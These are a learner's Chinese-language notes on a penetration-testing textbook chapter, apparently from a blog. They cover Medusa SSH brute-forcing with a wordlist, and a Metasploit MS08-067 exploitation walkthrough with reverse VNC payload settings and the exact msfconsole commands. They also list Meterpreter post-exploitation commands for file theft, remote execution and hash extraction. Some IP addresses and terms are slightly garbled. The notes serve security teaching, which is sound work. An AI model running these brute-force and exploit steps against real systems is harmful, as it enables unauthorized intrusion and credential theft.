《渗透测试实践指南:必知必会的工具与方法》 入门者笔记
第4章 漏洞利用 (上)
漏洞利用(exploitation)是获得系统控制权限、执行一次漏洞攻击的过程;
最终目标是获得计算机管理员权限;攻击程序是利用漏洞(vulnerability)实施攻击的具体实现;
缓冲区溢出(buffer overflow)反取证(anti-forensics)漏洞利用框架(exploit framework)攻击向量(attack vecter)
攻击载荷(payload):通常是我们期望目标系统在被渗透攻击后而执行的代码;
或者是成功执行漏洞攻击之后被安装在目标系统中的附加软件或功能
Medusa/Hydra:获得远程服务的访问权限
在线密码破解器(online password cracker):利用账号/密码组合进行暴力破解
Medusa:通过并行登陆、暴力破解的方式,尝试获取远程验证服务访问权限
Medusa验证远程服务的类型:
AFP、FTP、HTTP、IMAP、MS-SOL、MySOL、NetWare NCP、NNTP、PcAnywhere、
POP3、REXEC、RLOGIN、SMTPAUTH、SNMP、SSHv2、Telnet、VNC、Web Form等;
使用Medusa需要预知的信息:目标IP、用于登陆的用户名或用户名列表、登陆密码或密码字典、验证服务的名称;
其中,目标IP及验证服务的名称通过之前信息采集与端口扫描获得;
用户名列表:注意电子邮箱地址以及字母数字的替代、变换和派生,代入管理员的兴趣、性格等要素
密码字典:Backtrack中的单词表目录 /pentest/passwords/wordlists
John the Ripper软件自身的单词表目录 /pentest/passwords/jtr/password.lst
解析命令:“-u”指定用户名;如已生成用户名列表,则使用“-U”参数,后跟用户名文件路径;
“-p”指定密码;如已生成用户名列表,则使用“-P”参数,后跟密码字典文件路径;
“-M”指定攻击的远程验证服务类型;使用以上参数终端执行
Medusa -h target_ip -u username -P path_to_password_dictionary -M authentication_service_to_attack;
例如,在信息收集阶段利用MetaGooFil获得用户名ownedb和IP地址172.16.45.129;
对目标进行端口扫描,发现服务器在端口22上运行SSH;随即启动backtrack终端执行
Medusa -h 172.16.45.129 -u ownedb -P /pentest/passwords/wordlists/darkc0de.lst -M ssh
Metasploit:集大成者 由H·D·Moore和Spoonm等协作开发
Metasploit与众不同之处:第一个可以免费获取、协同使用、开发及共享漏洞攻击的程序
Metasploit与漏洞扫描器之间的区别:扫描器只是被动检查;“漏洞利用”是主动攻击
登陆 http://www.metasploit.com 后,单击Framework链接即可免费下载;
初学阶段尽量不使用Msfweb和Msfgui这两个版本的工具,
尽量使用菜单驱动、非图形界面、基于文本的Msfconsole系统;
使用时终端窗口输入 cd /pentest/exploits/framework3/msfconsole
启动路径:backtrack>enetration>Metasploit Exploitation Framework>
Framework Version3,然后单击Msfconsole;等待10~30秒,出现“msf >”控制台;
注意,Metasploit初加载时,会显示可用的漏洞攻击程序、
攻击载荷、编码器(encoder)和空指令(nop)的数目,以及距上次更新的时间;
在“msf >”后输入“msfupdate”升级;
使用Metasploit必须确定攻击目标、选择漏洞攻击程序、指定攻击载荷;
也就是将已知的系统漏洞(检查Nessus扫描报告)和Metasploit中预先打包好的漏洞攻击程序匹配起来
实例:目标IP地址为 172.16.45.130;运行Nmap后得知目标计算机系统为Window XP SP3;
然后使用Nessus对目标进行扫描;特别注意扫描报告中的“high”危险性漏洞;
双击漏洞后高亮显示的是未安装补丁的描述;当描述中涉及“远程代码执行”(remote code execution);
即可开始使用Metasploit对目标漏洞发起攻击,以ms08-067补丁为例:
Msf > msfupdate;Msf > search ms08-067;
返回漏洞攻击程序的Name/path、Rank、Description等信息;其中Rank越高(7级),
成功率越高,造成目标系统崩溃的可能性就越低;依据返回Name输入
Msf > use windows/smb/ms08_067_netapi;Msf > show payloads;显示可用攻击载荷,如下
Windows/adduser 在目标计算机上的本地管理员组中创建新用户
Windows/exec 在目标计算机上执行windows二进制文件(.exe)
Windows/shell_bind_tcp 在目标计算机上启动一个命令行shell并等待连接
Windows/shell_reverse_tcp 目标计算机连回攻击者并在目标上启动一个命令行shell
Windows/meterpreter/bind_tcp 目标计算机安装Meterpreter并等待连接
Windows/meterpreter/reverse_tcp 在目标计算机上安装Meterpreter,然后创建反向连接
Windows/vncinject/bind_tcp 在目标计算机上安装VNC并等待连接
Windows/vncinject/reverse_tcp 在目标计算机上安装VNC,然后向攻击者返回VNC连接
其中“bind”为正向攻击正向连接;“reserve”为正向攻击反向连接;“VNC”为远程连接;
详见Metasploit使用手册;本实例选择Msf > set payload windows/vncinject/reverse_tcp;
不同攻击载荷需要进行不同的额外设置:Msf > show options;
选定的攻击载荷的选项中,RHOST为远程主机IP地址,LHOST是攻击计算机的IP地址
Msf > set RHOST 172.168.45.130;Msf > set LHOST 172.168.45.135;
设置好后重复输入一遍命令:Msf > show options;开始攻击:Msf > exploit;
攻击流程:
1./pentest/exploits/framework3/msfconsole;
2.Msf > search missing_patch_number;
3.Msf > use exploit_name_and_path_as_shown_in_2a;
4.Msf > show payloads;
5.Msf > set payload path_to_payload_as_shown_in_4a;
6.Msf > show options;
7.Msf > set option_name_desired_option_input; 8.Msf > exploit
Meterpreter:又称Meta-Interpreter,是Metasploit中的攻击载荷,
为攻击者提供命令行shell,可与目标计算机交互;
与windows下的cmd.exe或Linux下的/bin/sh命令类似;
Meterpreter优势在于完全在内存中运行,不使用硬盘空间;
从而避免像运行cmd和shell一样启动新的进程;
其运行权限与被攻击程序关联,管理员尽量以最小权限运行所有程序
内置特性/命令:
“migrate”:将服务器迁移至另外进程中;在攻击的服务被关闭/停止时使用;
“cat”:将本地文件内容显示于屏幕;浏览目标计算机上文件;
“download”:允许从目标计算机上下载文件,并在攻击者计算机上建立本地副本;
“upload”:用于将攻击者电脑上的文件上传到目标计算机上;
“execute”:用于发出命令并在远程计算机上运行;
“edit”:用于修改简单文件;
“kill”:用于停止某一进程;余者如cd、ls、ps、shutdown、mkdir、pwd、ifconfig等与普通linux功能相同
高级功能:通过SAM Juicer工具提取密码散列(hash);
使用ruby语言编写的shell进行交互;在目标计算机上加载并执行任意的动态链接库(DLL);等等
你会喜欢
亲喜欢吗?记得点赞 | 留言 | 分享
----------------------------------